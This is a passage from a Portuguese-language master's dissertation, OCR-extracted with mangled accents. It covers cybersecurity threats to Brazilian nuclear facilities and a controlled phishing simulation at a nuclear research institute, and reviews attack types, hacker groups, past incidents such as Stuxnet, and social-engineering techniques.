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RESUMO

O setor nuclear, de forma geral, lida com materiais radioativos e informacgdes sensiveis
que podem representar riscos para a populacédo e o meio ambiente se nédo forem
tratadas com os devidos cuidados. Essas instalacbes dependem de recursos
tecnoldgicos robustos para operar de forma ininterrupta. No entanto, assim como
outros setores industriais, o setor nuclear tem sido alvo frequente de ataques
cibernéticos perpetrados por individuos mal-intencionados e grupos de
cibercriminosos. Esses ataques envolvem o uso de ferramentas automatizadas,
técnicas de engenharia social, codigos maliciosos e outros métodos prejudiciais. E
essencial que o setor nuclear brasileiro esteja constantemente vigilante em relacdo as
ameacas cibernéticas. A manutencéo eficaz dessas instalacdes € crucial para garantir
a integridade das tecnologias, dos dados, das pessoas e das organizacfes
envolvidas, possibilitando a continuidade das operac6es em ambientes criticos. Neste
trabalho de pesquisa, foram utilizados recursos reais e foram aplicados padrdes de
testes praticos com base em técnicas e metodologias de seguranca cibernética. Com
base no framework Cyber Kill Chain, foi conduzido um estudo de caso em um
ambiente controlado de um instituto de pesquisa do setor nuclear brasileiro,
investigando o comportamento humano e das tecnologias sob possiveis ameacas
cibernéticas. Como resultado, foram identificadas vulnerabilidades e ameacas que
afetavam os fatores humanos e tecnoldgicos daquela organizagdo, propondo-lhe
correcbes e melhorias por meio de procedimentos, treinamento de conscientizacao,
politicas e normas voltadas para pessoas que trabalham em infraestruturas criticas,

como o setor nuclear brasileiro, com base nas licdes aprendidas neste estudo de caso.

Palavras-chave: seguranca cibernética, atagues cibernéticos, infraestruturas criticas,

instalagdes nucleares, engenharia social, phishing, exploracdo de vulnerabilidades



ABSTRACT

The nuclear sector, in general, deals with radioactive materials and sensitive
information that can pose risks to the population and the environment if not handled
with due care. These facilities rely on robust technological resources to operate
continuously. However, like other industrial sectors, the nuclear sector has been a
frequent target of cyberattacks perpetrated by malicious individuals and cybercriminal
groups. These attacks involve the use of automated tools, social engineering
techniques, malicious code, and other harmful methods. It is essential for the Brazilian
nuclear sector to remain constantly vigilant against cyber threats. Effective
maintenance of these facilities is crucial to ensure the integrity of technologies, data,
people, and organizations involved, enabling the continuity of operations in critical
environments. In this research work, real resources were used, and practical testing
standards were applied based on cybersecurity techniques and methodologies. Based
on the Cyber Kill Chain framework, a case study was conducted in a controlled
environment of a Brazilian nuclear sector research institute, investigating the behavior
of humans and technologies under potential cyber threats. As a result, vulnerabilities
and threats affecting both human and technological factors of that organization were
identified, proposing corrections and improvements through procedures, awareness
training, policies, and regulations aimed at individuals working in critical infrastructure,

such as the Brazilian nuclear sector, based on the lessons learned in this case study.

Keywords: cyber security, cyber attacks, critical infrastructure, nuclear facilities, social

engineering, phishing, exploitation of vulnerabilities
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1. INTRODUCAO

1.1. EXPOSICAO DO TEMA

A crescente adoc¢ao de sistemas computacionais trouxe consigo um aumento
expressivo das ameacas cibernéticas em todo o mundo. Os ataques cibernéticos vém
se tornando mais frequentes, sofisticados e direcionados, representando uma ameaca
de crescimento cada vez mais acelerado a seguranca e privacidade das pessoas e
das organizacdes (SECURITY REPORT, 2023).

Uma forma muito usada e de dificil detec¢@o/prevencdo € o phishing. Um
ataque de phishing é uma tentativa fraudulenta de obter informac¢des sensiveis, como
nomes de usuario, senhas, detalhes de cartbes de crédito, entre outros, disfarcando-
se como uma entidade confidvel em uma comunicagdo eletronica (CHIEW et al.,
2018). O phishing € comumente usado como uma das primeiras etapas de um ataque
cibernético direcionado, e pode levar a perdas financeiras significativas, divulgacao
nao autorizada de informac¢des confidenciais, como também pode, se combinado com
outras formas de ataques, resultar em interrup¢cédo das operagdes de organizagoes,
incluindo infraestruturas criticas (MITNICK, 2003).

Os hackers e grupos de cibercriminosos estdo se especializando cada vez
mais em técnicas sofisticadas de engenharia social, como o phishing, para realizarem
0 acesso inicial a uma infraestrutura tecnolégica (ALABDAN, 2020). Através de
campanhas direcionadas de e-mail phishing eles conseguem penetrar as protecdes
computacionais, por meio das vulnerabilidades humanas, ou seja, sem que as
pessoas percebam que estdo sendo vitimas de um ataque. Desta forma, tem se
tornado cada vez mais dificil para o ser humano saber diferenciar um e-mail auténtico
de um e-mail malicioso.

Embora muitas organizacdes tomem as devidas precaucdes para aumentar a
seguranca cibernética, os ataques de phishing continuam sendo uma ameaca
significativa para as empresas e instituicdes (KASPERSKY, 2023). E necessario um
esforco constante para educar e conscientizar os individuos sobre as ameacas
cibernéticas, e desenvolver a consciéncia necessaria para aumentar a protecao contra
esses ataques virtuais.

Assim, o fortalecimento do aparato tecnolégico de seguranca cibernética em
instalacdes criticas deve estar diretamente alinhado aos cuidados que o ser humano

deve ter no seu ambiente de trabalho, pois essas ameacas podem se concretizar
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guando as pessoas agem de forma desatenta, por autoconfianca ou sdo induzidas a
realizarem acOes precipitadas, descuidando-se assim da seguranca da informacéo e
negligenciando as politicas protetivas de uma organizacao.

As instituicbes do setor nuclear brasileiro sdo responsaveis por fornecer
energia elétrica, além de desempenhar um papel fundamental na pesquisa e
desenvolvimento. Essas instalacfes tém sido alvos de ataques cibernéticos, conforme
mencionado por Venkatachary et al. (2017), o que tem o potencial de causar danos e
prejuizos, pondo em risco as pessoas, 0 meio ambiente, a infraestrutura critica e até
mesmo a seguranca nacional.

O tema em questéo (Seguranca Cibernética em instalacdes nucleares) tem sido
abordado em diversos trabalhos recentes (TAVARES et al., 2021; PETERSON et al.,
2019; ZHANG et al. e 2020; LINNOSMAA et al, 2021). No Brasil, encontram-se
formado o grupo técnico e grupo redator responsaveis pelos estudos e criacdo da
norma CNEN NN 2.07- “Seguranga Cibernética de Instalagdes Nucleares”
(CNEN/DRS/DISEN, 2020)

Nesse contexto especifico, esta dissertacdo tem como objetivo simular um
ataque phishing a um instituto de pesquisa do setor nuclear, somado a um estudo de
vulnerabilidades de sistemas importantes para a instituicdo, bem como analisar como
as ameacas do mundo real podem comprometer a seguranca.

A presente proposta baseia-se na elaboracdo de um estudo de caso pratico e
realistico, em que serdo discutidos os impactos causados por esses ataques quando
bem-sucedidos.

Por fim, sdo feitas sugestdes de melhorias e acdes corretivas que sejam
capazes de mitigar riscos de ataques similares aos usados neste trabalho.
Contribuindo-se, assim, para fortalecer a seguranca cibernética da organizacao alvo

do estudo.

1.2. PROBLEMA DE PESQUISA E OBJETIVOS DA PESQUISA

1.2.1 PROBLEMA DE PESQUISA

Por meio da revisdo da literatura realizada, ficou evidente que alguns dos

principais incidentes cibernéticos ocorridos em instalagcdes nucleares, até o presente
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momento, foram decorrentes da exploracdo inicial de vulnerabilidades humanas
(KROMBHOLZ, 2015).

A falta de aplicacao de correcdes de seguranca (patch!) e descoberta de
falhas do tipo “zero-day?”) também sdo causas de incidentes. Dentre esses fatores,
ainda podemos destacar a falta de modernizacdo dos equipamentos, dispositivos e
sistemas industriais. (ZHANG et al., 2020)

Assim, a questao norteadora considerada como problema de pesquisa deste
trabalho é:

“Como contribuir para o fortalecimento da seguranca cibernética de pessoas

e de organizac@es do setor nuclear brasileiro?”
1.2.2 OBJETIVOS DA PESQUISA

O objetivo geral desta dissertacdo € investigar vulnerabilidades humanas e
tecnologicas em ambientes de infraestruturas criticas através de um estudo de caso.
Para atingir o objetivo geral deste trabalho, foram definidos os seguintes
objetivos especificos: (1) descrever os principais incidentes cibernéticos e as ameacas
gue podem afetar as infraestruturas criticas, decorrentes de atagues de engenharia
social; (2) combinar engenharia social com técnicas computacionais para realizar um
ataques cibernético simulado a um instituto de pesquisa; e (3) propor melhorias nos
mecanismos de seguranca cibernética da instituicdo que ndo estejam de acordo com

as normas técnicas e as boas praticas aplicadas ao cenario global.

1.3 HIPOTESE

Os ambientes industriais atualmente possuem em suas instalacbes a
arquitetura de rede de Tecnologia da Informacé&o (Tl) e de Tecnologia Operacional
(TO) integradas (BRANQUINHO et al., 2021). No passado, havia essa segmentacao
fisica e logica.

De um lado, temos a rede de Tl que € composta por equipamentos de

computacéo tradicionais como estagdes de trabalho, servidores fisicos e virtualizados,

1 Atualizacbes e correcles efetuadas em um programa, sistema ou equipamento existente, com
intencéo de corrigir uma vulnerabilidade especifica (ABNT NBR ISO/IEC 27002:2022).

2 Falha de seguranca de um software, que ainda ndo é conhecida por seus desenvolvedores, pelos
fabricantes de solu¢des de seguranca e pelo publico em geral (MCA 7-1, 2023).
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equipamentos de interconectividade (switches e roteadores), firewalls, rede wireless,
servicos e aplicacfes, além dos protocolos TCP/IP. Por outro lado, temos a rede de
TO que consiste em ambientes compostos por sistemas SCADA (Supervisory Control
And Data Acquisition), PLC (Programmable Logic Controller), bem como sistemas
supervisorios, dispositivos e protocolos industriais especificos.

De acordo com Garcia (2018), essas redes apresentam pouca maturidade a
nivel de seguranca cibernética, tendo se tornado alvos de ataques direcionados com
objetivo de inviabilizar as operagfes de setores considerados essenciais para a
sociedade.

Por essa razdo, os sistemas de controles industriais necessitam estar
disponiveis de forma ininterrupta. Como mencionado por Segundo (2019), a parada
de servigos essenciais decorrente de um ataque cibernético poderad impactar
diretamente no risco da sobrevivéncia humana, enquanto a indisponibilidade em
sistemas de TI para determinados setores, podera impactar financeiramente.

Este trabalho explora a hipotese de que atacantes possam ingressar em um
ambiente de Tecnologia da Informacéo (TI) e/ou de Tecnologia Operacional (TO)
de um instituto de pesquisa da area nuclear, através de técnicas de envio de e-mail
phishing para funcionarios da referida organizacéo.

Em sendo a hipotese inicial validada, sera possivel sugerir acbes que possam
mitigar vulnerabilidades humanas (treinamentos e conscientizacao) e tecnoldgicas

(hardening?).

1.4 JUSTIFICATIVA

A justificativa desta pesquisa baseia-se no aumento significativo dos ataques
cibernéticos em todo o mundo, inclusive no Brasil no periodo pés-pandemia (LALLIE,
2021). Em 2022, dados revelaram que o pais foi alvo de mais de 100 bilhGes de
tentativas de ataques cibernéticos (SECURITY REPORT, 2023).

E evidente que esse tema € de extrema relevancia, inclusive para a seguranca
nacional, uma vez que, caso a¢fes maliciosas sejam bem-sucedidas, elas podem

impactar varios setores cruciais, incluindo a economia, o setor energético, 0 meio

8 Processo de aplicacdo de configuracédo de seguranca e outras medidas técnicas que tornam o sistema
mais seguro. (ABNT NBR ISO/IEC 27002:2022)
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ambiente, o setor industrial, o setor nuclear e outros componentes do Sistema de
Infraestruturas Criticas (SIC) (PNSIC, 2018) do pais.

Portanto, a expectativa é de que esta pesquisa contribua de forma positiva para
o tema em questéo, buscando colaborar ainda mais com a seguranca cibernética no
setor nuclear. Além disso, espera-se que esse trabalho estimule a realizacdo de mais
pesquisas com 0 objetivo de reduzir e mitigar as ameacas cibernéticas que visam

impactar as instalagdes nucleares.

1.5 ABORDAGEM METODOLOGICA

Neste trabalho, a pesquisa foi conduzida em varias etapas para abordar de
forma abrangente o problema de pesquisa. Inicialmente, realizou-se uma revisdo da
literatura para estabelecer o contexto e identificar as lacunas de conhecimento
relevantes, relacionados ao tema seguranca cibernética em instalacbes do setor
nuclear e infraestruturas criticas. Em seguida, conduziu-se uma pesquisa descritiva e
exploratéria com abordagem qualitativa para coletar dados e aprofundar a
compreensao sobre o tema em questéo. Por fim, realizou-se um estudo de caso para
aplicacao dos conceitos tedricos previamente identificados.

O estudo de caso abrangeu a utilizacdo de engenharia social, onde foi criado
um contexto convincente de um programa de capacitacdo nuclear que deveria ser
realizado por funcionarios daquela instituicdo. Nesse contexto, foram enviados e-mails
de phishing na tentativa de convencer os colaboradores do instituto de pesquisa a
clicarem nos respectivos links contidos no corpo da mensagem. Caso essa acao fosse
bem-sucedida na obtencao de informacgdes por meio desse procedimento, um ataque
cibernético simulado e controlado seria realizado, com objetivo de avaliar a viabilidade
de uma intrusdo ndo autorizada na infraestrutura tecnolégica da instituicdo de
pesquisa. Dessa forma, seria possivel identificar se ha vulnerabilidades e fraquezas,
abrangendo tanto os fatores humanos quanto os recursos tecnolégicos. A etapa final
deste processo compreendeu a conscientizagdo e o treinamento para o corpo de
colaboradores da instituicdo, bem como a sugestdo de propostas visando mitigar

€SSas ameacas.
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1.6 ESTRUTURA DO TRABALHO

O restante deste trabalho est4 estruturado da seguinte forma:

O Capitulo 2 trata do referencial teorico, apresenta conceitos, definicées e
aspectos importantes relacionados a seguranca cibernética, inclusive em instalacdes
nucleares. O Capitulo 3 apresenta a metodologia do trabalho, especificando os
detalhes de cada etapa. No Capitulo 4, sdo apresentados os resultados e discussoes.
Por fim, o Capitulo 5 apresenta a conclusao e o Capitulo 6 as sugestdes para trabalhos
futuros.

Adicionalmente, no Apéndice A é apresentada uma cartilha de seguranca cibernética

contra os ataques de phishing, adaptado para o uso no instituto alvo deste trabalho.
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2 REFERENCIAL TEORICO

Neste capitulo, apresentamos a fundamentagéo tedrica do estudo, que tem como

objetivo fornecer os conceitos essenciais para a compreensédo das teorias e métodos

abordados nesta dissertacao.

2.1 SEGURANGCA CIBERNETICA EM INSTALACOES NUCLEARES

2.1.1 Ameacas e incidentes de Seguranca Cibernética

Um ataque cibernético é toda pratica maliciosa que tem por objetivo a

utilizacédo de meios furtivos para acessar um ambiente tecnoldgico ndo autorizado com

diversas finalidades criminosas, sendo capaz de inviabilizar o acesso legitimo.

De acordo com a ABNT NBR ISO/IEC 27032:2015, o conceito de ataque cibernético
pode ser definido como:

Um ataque cibernético é uma agdo intencional realizada por
individuos, grupos ou organizacdes com o objetivo de explorar
vulnerabilidades em sistemas de informacao, redes de computadores
ou infraestruturas digitais, visando comprometer a confidencialidade,
integridade ou disponibilidade desses recursos, causando danos,
interrupg6es ou obtendo beneficios ilicitos.

No cenério global, os ataques cibernéticos se tornaram cada vez mais

frequentes e sofisticados (GSA, 2021). Conforme Tabela 1, existem atualmente

diversas categorias de tipos de ataques e grupos hackers especializados em cada

uma delas:

Tabela 1: Categorias de ameacas cibernéticas

Tipos de ameacas

Descricao

Malwares

Software malicioso projetado para danificar, acessar ou
controlar um sistema sem autorizacdo, como virus, worms,
trojans, ransomware e spyware. (ABNT NBR ISO/IEC
27002:2022)




19

Atagues de | De acordo com a norma ABNT NBR ISO/IEC 27032:2015, o

phishing conceito de phishing é definido como um processo fraudulento
de tentativa de adquirir informagdes confidenciais disfargcando-
se de entidade confiavel em uma comunicacgéo eletrénica

Ataques de | Tentativas de inundar um sistema ou rede com trafego

negacao de servico
(DoS)

excessivo para sobrecarrega-lo e torna-lo inacessivel aos
usuarios legitimos. (MCA 7-1, 2023)

Ataques

Defacement

Consiste na técnica de realizacdo de modificacdo de
conteudos de paginas web, onde o conteddo da pagina original
€ substituido por conteudos embaracosos, manifestacdes

ofensivas e assinaturas do invasor. (JAIME et al., 2019)

Atagues de injecao
SQL

Exploracdo de vulnerabilidades em aplicativos da web para
inserir comandos SQL maliciosos e obter acesso nao
autorizado ao banco de dados. (MCA 7-1, 2023)

Ataques de

engenharia social

Manipulagéo psicolégica dos usuérios para obter acesso ndo
autorizado a informacg@es confidenciais ou sistemas. (MCA 7-
1, 2023)

Atagues de |Blogueio ou criptografia de dados por hackers, exigindo um

ransomware resgate (geralmente em criptomoedas) para restaurar 0 acesso
aos dados. (MCA 7-1, 2023)

APT (Advanced [ APTs sao ataques cibernéticos executados por adversarios

Persitent Threats)

sofisticados e com bons recursos visando informacdes
especificas em empresas e governos de alto perfil, geralmente
em uma campanha de longo prazo envolvendo diferentes
etapas. (KROMBHOL, 2015)




20

2.1.1.1 Grupos de hackers

Os grupos hackers, também conhecidos como grupos de cibercriminosos, sao
organizagfes ou individuos que se unem para realizar atividades ilicitas no mundo
digital (KROMBHOLZ, 2015). Esses grupos compartilham conhecimentos técnicos e
recursos para explorar vulnerabilidades em sistemas de informacédo, redes de
computadores e infraestruturas digitais, com o0 objetivo de obter acesso nao
autorizado, causar danos, roubar informacdes valiosas ou lucrar de forma ilicita
(CHEN; DESMET; HUYGENS, 2014).

Acrescentando a isso, esses grupos tém motivacdes diversas, que variam
desde fins politicos, ideolégicos ou ativismo cibernético até interesses financeiros.
Algumas organizagfes hackers focam em atividades como espionagem cibernética,
roubo de dados pessoais, ataques de ransomware, desfiguracdo de sites, fraude
financeira, entre outros (CHEN; DESMET; HUYGENS., 2014). Eles se comunicam e
coordenam suas ac¢lGes por meio de féruns online, redes sociais, mensagens
criptografadas e outras plataformas de comunicagéo.

Conforme mencionado por Hawamleh et al. (2020), é importante destacar que
nem todos os grupos hackers tém intencdes maliciosas. De acordo com o estudo de
Sinha e Aroro (2020), existem também grupos de hackers éticos, conhecidos como
"hackers do bem" ou "white-hackers"”, que utilizam suas habilidades para identificar
vulnerabilidades e ajudar a melhorar a seguranca cibernética de empresas e
organizacdes, atuando de forma legal e ética.

No entanto, é essencial saber distinguir os grupos hackers legitimos, como os
mencionados anteriormente, e 0S grupos criminosos que praticam atividades ilegais,
ja que a maioria das atividades realizadas por grupos hackers é ilegal e prejudicial,
causando danos financeiros, violacfes de privacidade e interrupcdes em servicos
digitais (SINHA; ARORA, 2020).

Segundo a pesquisa de XU, Y. et al. (2022), muitos grupos hackers ganharam
notoriedade no cenario global pés-pandemia do COVID-19 devido as suas atividades

e ataques cibernéticos coordenado, dentre eles podemos destacar:

e APT29 (também conhecido como Cozy Bear ou The Dukes): O grupo APT29 é
atribuido a RuUssia e é conhecido por suas atividades de espionagem

cibernética. Eles tém como alvo governos, organizacdes militares e instituicdes
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académicas. O APT29 esteve envolvido em varias campanhas de ataques
cibernéticos, como o ataque a Agéncia Nacional de Seguranca dos EUA (NSA)
em 2015.

APT28 (também conhecido como Fancy Bear ou Sofacy): Outro grupo atribuido
a Ruassia, o APT28 é conhecido por conduzir operacdes de espionagem
cibernética em grande escala. Eles tém como alvo governos, instituicbes
militares, organizacfes de defesa e empresas de energia. O APT28 esteve
envolvido em ataques como a intrusdo nos servidores do Comité Nacional
Democrata (DNC) dos Estados Unidos em 2016.

Lazarus Group: O grupo Lazarus é atribuido a Coreia do Norte e esta
envolvido em uma ampla gama de atividades cibernéticas maliciosas. Eles tém
como alvo governos, instituicdes financeiras e empresas de diferentes setores.
O Lazarus Group ficou famoso por ataques como 0 ataque ao Sony Pictures
Entertainment em 2014 e o ataque ao Banco Central de Bangladesh em 2016,
que resultou no roubo de cerca de US$ 81 milhdes.

DarkSide: O grupo DarkSide ganhou destaque em 2021 devido a seus ataques
de ransomware. Eles tém como alvo empresas e organizagdes, geralmente
visando setores criticos, como energia e transporte. O atague mais notorio do
DarkSide foi o ataque ao Colonial Pipeline nos Estados Unidos, que causou

interrupgcdes no fornecimento de combustivel para a costa leste do pais.

REvil (também conhecido como Sodinokibi): O grupo REvil é conhecido por
sua atividade de ransomware e por conduzir ataques contra empresas em todo
o mundo. Eles exigem resgates em criptomoedas em troca da liberacdo dos
dados sequestrados. O REvil ficou conhecido por ataques de alto perfil, como
0 atague a empresa de gerenciamento de Tl Kaseya em 2021, que afetou

centenas de empresas em todo o mundo.
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2.1.1.2 Dados historicos de incidentes cibernéticos

Os ataques cibernéticos tém se tornado cada vez mais proeminentes, causando

consequéncias alarmantes para instalacbes nucleares, setor elétrico e outras

infraestruturas criticas. Entre esses ataques de destaque, podemos mencionar:

Usina nuclear de Natanz: Em 2010, a usina nuclear de Natanz, no Ir&, foi alvo
de um ataque cibernético por meio de um malware chamado Stuxnet. O ataque
foi supostamente realizado pelos Estados Unidos e Israel, e teve como alvo as
centrifugas de enriquecimento de urénio (RISI Online Incidente Database,
2012).

O Stuxnet é amplamente reconhecido como um dos ataques
cibernéticos mais notaveis e sofisticados da histéria. Considerado a primeira
instancia de um ataque de redes de computadores conhecido por causar danos
fisicos além das fronteiras internacionais, comenta Linsay (2013). J& Farwall e
Rohozinski (2011) relatam que o worm foi projetado para sabotar o programa
nuclear do Ird, concentrando-se nas centrifugas de enriquecimento de uranio.
Ao explorar vulnerabilidades nos sistemas de controle industrial, o Stuxnet
conseguiu se infiltrar e se espalhar por meio de dispositivos USB,
estabelecendo um novo marco na era dos ataques cibernéticos direcionados a
infraestruturas criticas (LINDSAY, 2013).

Conforme discutido no estudo de Lindsay (2013), a descoberta e andlise
do Stuxnet trouxeram a tona a conscientizacdo sobre a vulnerabilidade das
infraestruturas criticas aos ataques cibernéticos. Esse caso emblematico
demonstrou a sofisticacdo e a capacidade destrutiva que os ciberataques
podem ter, especialmente quando direcionados a setores estratégicos e
sensiveis, como a energia nuclear. Consequentemente, reforcou-se a
necessidade de aumentar a seguranca cibernética nessas areas, a fim de
proteger as infraestruturas criticas contra ameacas cada vez mais avancadas
(BAEZNER; ROBIN, 2017).

Usina nuclear de Gundremmingen: Em 2016, a usina nuclear de
Gundremmingen, na Alemanha, foi alvo de um ataque cibernético que visou a

rede de computadores da instalagdo. O ataque foi realizado por meio de um e-
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mail phishing, que permitiu que os invasores tivessem acesso ao sistema de

controle da usina. (RISI Online Incidente Database, 2016).

Usina nuclear de Khmelnytskyi: Em 2020, a usina nuclear na Ucrania, foi alvo
de um ataque cibernético que visou o sistema de informacéo da instalagdo. O
ataque foi realizado por meio de um malware chamado "Pioneer”, que foi

disseminado por meio de um e-mail de phishing (TI SAFE Incidente Hub, 2020).

Sistema elétrico ucraniano: Em 2015 e 2016, o sistema elétrico da Ucrania
foi alvo de uma série de ataques cibernéticos que resultaram em apagdes em
larga escala. Os ataques foram atribuidos a um grupo de hackers russos
conhecido como SandWorm, que usou malware para desligar os sistemas de
energia da regiao (RISI Online Incidente Database, 2015).

Empresa Colonial Pipeline: Em 2021, a empresa Colonial Pipeline, que é
responsavel pelo fornecimento de combustivel para a Costa Leste dos Estados
Unidos, foi alvo de um ataque cibernético que resultou no fechamento
temporario do oleoduto da empresa. O ataque foi realizado por um grupo de
hackers chamado DarkSide, que usou ransomware para criptografar os dados
da empresa e exigiu um resgate em Bitcoin para desbloquear os sistemas (Tl
SAFE Incidente Hub, 2021).

Rede elétrica da india: Em 2021, a rede elétrica da india foi alvo de um ataque
cibernético que resultou em apagdes em larga escala em varias partes do pais.
O ataque foi atribuido a um grupo de hackers chineses que usou malware para
invadir os sistemas de controle de energia da india (Tl SAFE Incidente Hub,
2021).

Empresa Eletronuclear: Em 2021, a empresa foi alvo de um ataque
cibernético no ambiente da tecnologia da informac¢do causado por um ataque
de ransomware que alcancou parte dos servidores da rede administrativa. A

Eletrobras ressalta que a rede administrativa ndo se conecta com os sistemas
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operativos das usinas nucleares de Angra 1 e Angra 2 que sao, por razdes de
seguranca, isolados da rede administrativa (CISO ADVISOR, 2021).

2.1.2 A incidéncia dos ataques cibernéticos durante a pandemia

Antes da pandemia de COVID-19, os ataques cibernéticos ja eram uma

preocupacao significativa, mas com a crescente digitalizacdo e dependéncia da

tecnologia durante a pandemia, para Lallie (2021) os ataques aumentaram de forma

exponencial tanto em frequéncia quanto em sofisticacao.

Durante a pandemia, os ataques cibernéticos se intensificaram, sendo

exploradas vulnerabilidades de sistemas e usuarios mal treinados para lidar com as

mudancas rapidas e a dependéncia da tecnologia, conforme descrito em SILVA

(2021). Além disso, o trabalho remoto global e o aumento das aplicagcbes web

forneceram novas oportunidades para o0s cibercriminosos explorarem.

De acordo com a Tabela 2, algumas acbes foram mais incentivadas que

outras durante a pandemia, como podemos verificar.

Tabela 2 - Atividades incentivadas durante a pandemia Covid-19

Atividades em expansao

Incentivo

Aumento de ataques de

phishing

Com o aumento do trabalho remoto e da comunicacao
online, BUIL-GIL (2020) relata que tenha havido um
aumento de 400% nos ataques de phishing
relacionados ao COVID-19 em 2020.

Aumento de ataques de

ransomware

Empresas de saude, instituicbes governamentais e até
instalacdes criticas foram alvos. O relatdrio da empresa
de seguranca SONICWALL (2021) aponta um aumento
de 62% nos ataques de ransomware em comparacao

com o ano anterior.
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de

em

Exploracéao
vulnerabilidades

software e sistemas

Vérias vulnerabilidades criticas em softwares foram
descobertas, resultando em ataques em larga escala do
tipo zero-day (KUMAR; SINHA, 2021).

Ataques direcionados a

Os ataques cibernéticos direcionados a instituicdes do

instituicoes governo aumentaram significativamente durante a
pandemia. De acordo com a (Check Point, 2022) o setor
de saude sofreu um aumento de 45% nos ataques
cibernéticos no primeiro semestre de 2020.

Aumento do uso de|O uso de servicos de nuvem aumentou

servigos de nuvem consideravelmente, atraindo a atencao dos hackers, e
consequentemente levando a um aumento nos ataques
infraestruturas de nuvem e a

fornecedores de servigos (CISCO, 2021).

direcionados a

2.2 A ENGENHARIA SOCIAL COMO UM VETOR DE ATAQUE
2.2.1 Conceitos e técnicas de Engenharia Social

A Engenharia Social é uma técnica utilizada para manipular pessoas almejando
obter informac@es confidenciais, acesso privilegiado a tecnologias ou realizar acdes
nao autorizadas (ALDAWOOD, 2019). De acordo com Salahdine e Kaabouch (2019),
essas técnicas quando aplicadas em instalagfes criticas, como sistemas de energia,
telecomunicacdes, saude e transporte, podem representar uma ameaca significativa

a seguranca.

Algumas técnicas de Engenharia Social que podem ser usadas para explorar

instalagdes do setor nuclear:

a) Phishing: consiste em uma técnica de engenharia social que envolve o envio de e-
mails ou mensagens fraudulentas que se passam por entidades confiaveis, como
empresas ou organizagdes conhecidas. Essas mensagens geralmente pedem

informacdes pessoais ou solicitam que o destinatario cligue em links maliciosos,
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levando a vazamento de dados ou instalacédo de malware (SALAHDINE; KAABOUCH,
2019)

b) Pretexting: consiste na criagdo de um cenario falso ou uma histéria inventada para
obter informacfes das pessoas, como se passar por um funcionario de suporte
técnico. (SALAHDINE; KAABOUCH, 2019)

c) Spear phishing: consiste em uma forma mais direcionada de phishing, na qual os
cibercriminosos pesquisam informa¢des especificas sobre um individuo ou
organizacdo para personalizar e direcionar 0s ataques, tornando-os mais
convincentes (SALAHDINE; KAABOUCH, 2019)

d) Pharming: consiste em redirecionar o trafego da Internet de uma pessoa para um
site falso, no qual sdo solicitadas informacdes pessoais ou financeiras da vitima,
fazendo com que esses dados caiam nas maos de criminosos (SALAHDINE;
KAABOUCH, 2019).

2.2.2 Estruturacdo da metodologia e construcdo dos artefatos tecnoldgicos

deste trabalho de pesquisa

Com o intuito de realizar um experimento que refletisse de forma realistico
sobre as ameacas cibernéticas atuais que exploram as vulnerabilidades humanas no
setor nuclear, adotou-se uma abordagem contextualizada ficticia, levando em
consideracao o fator humano, inicialmente.

Essa abordagem foi construida com base em trés desafios que as
organizacdes concentram seus esforcos para mitigar e/ou previnir os ataques de
engenharia social: fator individual, fator organizacional e fator tecnolégico (POLLINI et
al., 2021).

1) O fator individual

Com base em estudos, pesquisas e relatérios amplamente divulgados
anualmente referentes as principais ameacas cibernética, a empresa de seguranca

Fortinet disponibilizou em sua pagina o Relatério do Cenario Global de Ameacas 2023
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apontando que as tentativas de phishing e as técnicas sofisticadas que evitam a
deteccdo, combinadas com o grande volume de SPAM recebido diariamente, alertam
as organizacoes sobre a seguranca de e-mail como sendo ainda um problema em sua
estratégia cibernética (FORTINET, 2023).

Nesse contexto, o fator individual, algumas vezes, torna-se um ponto vulneravel
na seguranga cibernética de diversas organiza¢fes. Embora as medidas técnicas e
os controles de seguranca empregados sejam eficientes, para POLLINI et al. (2021)
as acOes comportamentais das pessoas tém um impacto significativo na eficacia geral

e no fortalecimento da seguranca cibernética de um sistema ou organizacao.

2) O fator organizacional

As organizacdes possuem politicas, processos e procedimentos formais para
orientar os funcionarios e manter o sistema seguro. E esperado que os funcionarios
sigam essas diretrizes; no entanto, estudos académicos demonstraram que 0S
procedimentos formais por si s6 nao influenciaram o comportamento humano
(POLLINI et al., 2021 apud MAALEM et al., 2020).

3) O fator tecnolégico

A pesquisa aponta que as organizacgdes estdo aumentando seus esforgos para
se proteger e investindo em recursos tecnolégicos que podem mitigar uma variedade

de ameacas cibernéticas conhecidas. (AHSAN et al., 2022)

Levando isso em consideracdo, foram empregados inameros artefatos
auténticos e recursos cuidadosamente selecionados, a fim de parecerem legitimos
tanto para as pessoas quanto para os sistemas de seguranca do instituto de pesquisa
alvo. O objetivo foi ilustrar, por uma perspectiva mal-intencionada, por outro lado,
como os atacantes estdo aprimorando suas técnicas para contornar as defesas e
explorar vulnerabilidades, enfatizando a importancia de uma postura proativa na

protecdo contra ameacas cibernéticas.
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2.3 ATAQUES DE PHISHING EM AMBIENTES INDUSTRIAIS
2.3.1 Conceitos e técnicas de ataques de phishing

Segundo a pesquisa de Aldawood e Skinner (2019), os ataques de phishing
visam roubar ou danificar dados confidenciais enganando as pessoas para que
revelem informacdes pessoais, como senhas e niumeros de cartdo de crédito. Servem
ainda para desferir outros ataques sofisticados, através desse acesso inicial pelos
colaboradores de uma empresa. A infraestrutura podera ser comprometida caso nao
esteja protegida corretamente contra essas ameacas.

Com a modernizacado dos ataques de phishing, houve a necessidade por parte
dos hackers modificarem suas formas de acbes ofensivas. Com relacdo a isso,
surgiram os ataques de spear phishing que sdo mais sofisticados do que os ataques
de phishing comuns, conforme destaca QUINTERO-BONILLA e ANGEL (2020), pois
usam informacgdes personalizadas sobre o alvo pretendido e apresentam um desafio
maior para a deteccdo, tanto pelas vitimas em potencial quanto pelos filtros de
phishing de e-mail da organizacdo (HALEVI, 2015).

Os criminosos digitais que realizam o spear phishing fazem uma pesquisa
minuciosa sobre suas vitimas em potencial, vasculhando e coletando informacdes
pessoais e das organizac6es com detalhes especificos sobre suas atividades online,
como apontado no estudo de Alshamrani (2019). Essas informacdes séo usadas para
criar e-mails, dominios, sites, contextos e historias aparentemente reais. Devido ao
seu grau de direcionamento na comunicacao, faz parecerem legitimos e confiaveis,
muitas vezes se passando por uma pessoa ou organizacao conhecida pela vitima.

E relevante destacar que, de acordo com Chen et al. (2014) e outros estudos,
HEJASE et al. (2020), RASTENIS et al.(2020) e ALKHALIL et al. (2021), observa-se
gue os ataques avancados de phishing frequentemente séo estruturados em fases,
conforme representado na Figura 1. Nesse contexto, podemos observar que as
etapas planejadas sao claramente definidas, empregando técnicas furtivas e evasivas,
0 que muitas vezes torna esse tipo de ataque indetectavel, mesmo apds a
concretizacdo de suas ac¢des no alvo (CHEN et al., 2014).

1. ldentificacéo do alvo

2. Criagao do ambiente

3. Armando a isca
